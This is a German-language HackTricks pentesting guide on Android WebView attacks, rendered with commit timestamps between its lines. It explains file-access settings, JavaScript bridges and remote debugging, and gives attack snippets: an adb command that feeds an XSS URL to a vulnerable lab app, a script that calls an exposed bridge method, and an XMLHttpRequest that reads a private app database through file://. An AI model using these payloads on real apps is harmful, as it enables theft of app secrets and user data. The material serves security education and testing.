hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

152 lines
9.9 KiB
Markdown
Raw Normal View History

# Webview Angriffe
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2024-01-03 11:43:38 +01:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 15:36:32 +00:00
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>
## Anleitung zu WebView-Konfigurationen und Sicherheit
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
### Übersicht über WebView-Schwachstellen
Ein entscheidender Aspekt der Android-Entwicklung besteht darin, WebViews korrekt zu behandeln. Diese Anleitung hebt wichtige Konfigurationen und Sicherheitspraktiken hervor, um Risiken im Zusammenhang mit der Verwendung von WebViews zu minimieren.
![WebView Beispiel](<../../.gitbook/assets/image (718).png>)
2024-02-10 15:36:32 +00:00
### **Dateizugriff in WebViews**
Standardmäßig erlauben WebViews den Dateizugriff. Diese Funktionalität wird durch die Methode `setAllowFileAccess()` gesteuert, die seit Android API-Level 3 (Cupcake 1.5) verfügbar ist. Anwendungen mit der Berechtigung **android.permission.READ\_EXTERNAL\_STORAGE** können Dateien aus externem Speicher unter Verwendung eines Datei-URL-Schemas (`file://path/to/file`) lesen.
2024-02-10 15:36:32 +00:00
#### **Veraltete Funktionen: Universeller und Dateizugriff von URLs**
* **Universeller Zugriff von Datei-URLs**: Diese veraltete Funktion ermöglichte Cross-Origin-Anfragen von Datei-URLs und stellte aufgrund potenzieller XSS-Angriffe ein erhebliches Sicherheitsrisiko dar. Die Standardeinstellung ist deaktiviert (`false`) für Apps, die auf Android Jelly Bean und neuer abzielen.
* Verwenden Sie `getAllowUniversalAccessFromFileURLs()`, um diese Einstellung zu überprüfen.
* Verwenden Sie `setAllowUniversalAccessFromFileURLs(boolean)`, um diese Einstellung zu ändern.
* **Dateizugriff von Datei-URLs**: Diese Funktion, ebenfalls veraltet, kontrollierte den Zugriff auf Inhalte von anderen Datei-URL-Schemas. Wie der universelle Zugriff ist die Standardeinstellung deaktiviert, um die Sicherheit zu erhöhen.
* Verwenden Sie `getAllowFileAccessFromFileURLs()` zum Überprüfen und `setAllowFileAccessFromFileURLs(boolean)` zum Einstellen.
2021-05-29 13:27:23 +00:00
2024-02-10 15:36:32 +00:00
#### **Sicherer Dateiload**
2021-05-29 16:57:06 +00:00
Um den Dateisystemzugriff zu deaktivieren, aber den Zugriff auf Assets und Ressourcen zu ermöglichen, wird die Methode `setAllowFileAccess()` verwendet. Mit Android R und höher ist die Standardeinstellung `false`.
* Überprüfen Sie mit `getAllowFileAccess()`.
* Aktivieren oder deaktivieren Sie mit `setAllowFileAccess(boolean)`.
2021-05-29 13:27:23 +00:00
2024-02-08 04:08:28 +01:00
#### **WebViewAssetLoader**
2021-05-29 13:27:23 +00:00
Die Klasse **WebViewAssetLoader** ist der moderne Ansatz zum Laden lokaler Dateien. Sie verwendet http(s)-URLs zum Zugriff auf lokale Assets und Ressourcen, die sich an der Same-Origin-Richtlinie orientieren und somit das CORS-Management erleichtern.
### loadUrl
2021-05-29 13:27:23 +00:00
Dies ist eine häufig verwendete Funktion zum Laden beliebiger URLs in einem WebView:
```java
webview.loadUrl("<url here>")
```
2024-02-10 15:36:32 +00:00
### **JavaScript und Intent-Schema-Handling**
2021-05-29 13:27:23 +00:00
* **JavaScript**: Standardmäßig in WebViews deaktiviert, kann es über `setJavaScriptEnabled()` aktiviert werden. Es wird empfohlen, Vorsicht walten zu lassen, da das Aktivieren von JavaScript ohne angemessene Sicherheitsvorkehrungen Sicherheitslücken einführen kann.
* **Intent-Schema**: WebViews können das `intent`-Schema verarbeiten, was potenziell zu Exploits führen kann, wenn nicht sorgfältig verwaltet. Ein Beispiel für eine Sicherheitslücke beinhaltete einen freiliegenden WebView-Parameter "support\_url", der ausgenutzt werden konnte, um Cross-Site-Scripting (XSS)-Angriffe auszuführen.
2021-05-29 13:27:23 +00:00
![Verwundbare WebView](<../../.gitbook/assets/image (719).png>)
2021-05-29 13:27:23 +00:00
Beispiel für die Ausnutzung mit adb:
{% code overflow="wrap" %}
```bash
2024-02-08 04:08:28 +01:00
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
{% endcode %}
### Javascript-Brücke
2024-02-08 04:08:28 +01:00
Android bietet eine Funktion, die es **JavaScript** in einem WebView ermöglicht, **native Android-App-Funktionen** aufzurufen. Dies wird durch die Verwendung der Methode `addJavascriptInterface` erreicht, die JavaScript mit nativen Android-Funktionalitäten integriert, die als _WebView JavaScript-Brücke_ bezeichnet werden. Es wird empfohlen, Vorsicht walten zu lassen, da diese Methode allen Seiten im WebView den Zugriff auf das registrierte JavaScript-Interface-Objekt ermöglicht, was ein Sicherheitsrisiko darstellt, wenn über diese Schnittstellen sensible Informationen preisgegeben werden.
2021-05-29 16:28:54 +00:00
* Für Apps, die auf Android-Versionen unter 4.2 abzielen, ist **äußerste Vorsicht geboten**, da eine Sicherheitslücke besteht, die die Ausführung von Remote-Code durch bösartiges JavaScript ermöglicht, das Reflexion ausnutzt.
2021-05-29 16:28:54 +00:00
#### Implementierung einer JavaScript-Brücke
2021-05-29 16:28:54 +00:00
* **JavaScript-Schnittstellen** können mit nativem Code interagieren, wie in den Beispielen gezeigt, in denen eine Klassenmethode für JavaScript freigegeben wird:
2021-05-29 16:28:54 +00:00
```javascript
2024-02-08 04:08:28 +01:00
@JavascriptInterface
public String getSecret() {
2024-02-10 15:36:32 +00:00
return "SuperSecretPassword";
2024-02-08 04:08:28 +01:00
};
2021-05-29 16:28:54 +00:00
```
* JavaScript Bridge wird aktiviert, indem eine Schnittstelle zum WebView hinzugefügt wird:
2021-05-29 16:28:54 +00:00
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
* Potenzielle Ausnutzung durch JavaScript, beispielsweise über einen XSS-Angriff, ermöglicht das Aufrufen von freigelegten Java-Methoden:
2024-02-08 04:08:28 +01:00
```html
2021-05-29 16:28:54 +00:00
<script>alert(javascriptBridge.getSecret());</script>
```
* Um Risiken zu minimieren, **beschränken Sie die Verwendung der JavaScript-Bridge** auf den mit der APK ausgelieferten Code und verhindern Sie das Laden von JavaScript aus externen Quellen. Für ältere Geräte sollte das minimale API-Level auf 17 gesetzt werden.
2021-05-29 16:28:54 +00:00
2024-02-10 15:36:32 +00:00
### Reflektionsbasierte Remote Code Execution (RCE)
2021-05-29 16:28:54 +00:00
* Eine dokumentierte Methode ermöglicht die Erreichung von RCE durch Reflektion durch Ausführen eines spezifischen Payloads. Die `@JavascriptInterface`-Annotation verhindert jedoch unberechtigten Methodenzugriff und begrenzt die Angriffsfläche.
2021-05-29 16:28:54 +00:00
### Remote Debugging
* **Remote Debugging** ist mit **Chrome Developer Tools** möglich und ermöglicht die Interaktion und beliebige JavaScript-Ausführung innerhalb des WebView-Inhalts.
#### Aktivierung des Remote Debugging
* Das Remote Debugging kann für alle WebViews innerhalb einer Anwendung aktiviert werden, indem:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
2024-02-10 15:36:32 +00:00
WebView.setWebContentsDebuggingEnabled(true);
}
```
* Um das Debuggen bedingt basierend auf dem Debuggable-Zustand der Anwendung zu aktivieren:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
2024-02-10 15:36:32 +00:00
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
2024-02-10 15:36:32 +00:00
## Exfiltration beliebiger Dateien
* Zeigt die Exfiltration beliebiger Dateien unter Verwendung eines XMLHttpRequest:
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
2024-02-10 15:36:32 +00:00
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
2021-05-29 16:57:06 +00:00
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
2024-02-10 15:36:32 +00:00
## Referenzen
2024-02-08 04:08:28 +01:00
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2024-01-03 11:43:38 +01:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 15:36:32 +00:00
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>